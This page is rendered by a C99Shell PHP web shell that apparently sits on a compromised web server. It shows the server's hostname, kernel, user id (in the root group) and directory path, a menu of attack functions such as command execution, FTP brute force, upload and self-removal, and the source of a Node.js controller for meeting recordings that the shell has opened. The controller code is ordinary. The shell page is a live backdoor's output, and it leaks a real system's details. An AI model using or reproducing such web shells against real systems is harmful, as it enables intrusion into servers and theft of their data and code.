!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/controllers/   drwxr-xr-x
Free 25.93 GB of 117.98 GB (21.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     recordingController.js (5.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const path = require('path');
const fs = require('fs').promises;
const { Recording, Meeting, Transcript } = require('../models');
const { AppError, catchAsync } = require('../middleware/errorHandler');
const { processRecording } = require('../services/transcriptionService');
const { addToChunkingQueue } = require('../services/jobQueue');
const { encryptFile, decryptFile, isFileEncrypted } = require('../services/encryptionService');

exports.getMeetingRecordings = catchAsync(async (req, res, next) => {
  try {
    const { meetingId } = req.params;
    const recordings = await Recording.findAll({
      where: { meeting_id: meetingId },
      order: [['created_at', 'DESC']]
    });

    res.json({
      success: true,
      data: recordings
    });
  } catch (error) {
    next(error);
  }
});

exports.uploadRecording = catchAsync(async (req, res, next) => {
  try {
    const { meetingId } = req.params;
    if (!req.file) {
      throw new AppError('No audio file uploaded', 400);
    }

    // Check if meeting already has a summary
    const { Summary } = require('../models');
    const existingSummary = await Summary.findOne({
      where: { meeting_id: meetingId }
    });

    if (existingSummary) {
      // Clean up uploaded file
      await fs.unlink(req.file.path).catch(console.error);
      throw new AppError('Cannot upload recording: Meeting already has a summary generated', 400);
    }

    // Encrypt the uploaded file before storing
    const encryptedFilePath = req.file.path + '.encrypted';
    await encryptFile(req.file.path, encryptedFilePath);

    // Clean up the original unencrypted file
    await fs.unlink(req.file.path);

    const recording = await Recording.create({
      meeting_id: meetingId,
      file_path: encryptedFilePath,
      file_name: req.file.filename,
      original_name: req.file.originalname,
      mime_type: req.file.mimetype,
      duration: req.body.duration || 0,
      file_size: req.file.size,
      timestamp: new Date(),
      status: 'processing'
    });

    // Start async processing of the recording
    // Set recording status to completed and trigger chunking/transcription
    recording.status = 'completed';
    await recording.save();

    // Add to job queue for chunking and transcription
    addToChunkingQueue(recording.id).catch(console.error);

    res.status(201).json({
      success: true,
      data: recording
    });
  } catch (error) {
    console.error('Upload error:', error);
    // Clean up uploaded file if database operation fails
    if (req.file) {
      await fs.unlink(req.file.path).catch(console.error);
    }
    next(error);
  }
});

exports.getRecording = catchAsync(async (req, res, next) => {
  try {
    const recording = await Recording.findByPk(req.params.id);
    if (!recording) {
      throw new AppError('Recording not found', 404);
    }

    res.json({
      success: true,
      data: recording
    });
  } catch (error) {
    next(error);
  }
});

exports.downloadRecording = catchAsync(async (req, res, next) => {
  try {
    const recording = await Recording.findByPk(req.params.id);
    if (!recording) {
      throw new AppError('Recording not found', 404);
    }

    // Path traversal protection: ensure the resolved path is within the recordings directory
    const recordingsDir = path.resolve(__dirname, '../../storage/recordings');
    const requestedPath = path.resolve(recording.file_path);

    // Check if the resolved path is within the allowed directory
    if (!requestedPath.startsWith(recordingsDir)) {
      throw new AppError('Access denied: Invalid file path', 403);
    }

    // Additional security: verify file exists and is readable
    const fs = require('fs');
    if (!fs.existsSync(requestedPath)) {
      throw new AppError('File not found', 404);
    }

    // Sanitize filename to prevent header injection
    const safeFilename = recording.file_name.replace(/[\r\n]/g, '');

    // Check if file is encrypted and decrypt if necessary
    const isEncrypted = await isFileEncrypted(requestedPath);
    if (isEncrypted) {
      // Create temporary decrypted file for download
      const tempDir = path.resolve(__dirname, '../../storage/temp');
      if (!fs.existsSync(tempDir)) {
        fs.mkdirSync(tempDir, { recursive: true });
      }

      const tempFilePath = path.join(tempDir, `temp_${Date.now()}_${safeFilename}`);
      await decryptFile(requestedPath, tempFilePath);

      // Set up cleanup after download
      res.on('finish', async () => {
        try {
          await fs.unlink(tempFilePath);
        } catch (error) {
          console.error('Failed to clean up temporary file:', error);
        }
      });

      res.download(tempFilePath, safeFilename);
    } else {
      res.download(requestedPath, safeFilename);
    }
  } catch (error) {
    next(error);
  }
});

exports.deleteRecording = catchAsync(async (req, res, next) => {
  try {
    const recording = await Recording.findByPk(req.params.id);
    if (!recording) {
      throw new AppError('Recording not found', 404);
    }

    // Delete associated transcript if it exists
    const transcript = await Transcript.findOne({
      where: { recording_id: req.params.id }
    });
    if (transcript) {
      await transcript.destroy();
    }

    // Delete encrypted file from filesystem
    try {
      await fs.unlink(recording.file_path);
    } catch (error) {
      console.error('Failed to delete encrypted recording file:', error);
      // Continue with database deletion even if file deletion fails
    }

    // Delete from database
    await recording.destroy();

    res.json({
      success: true,
      message: 'Recording and associated transcript deleted successfully'
    });
  } catch (error) {
    next(error);
  }
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--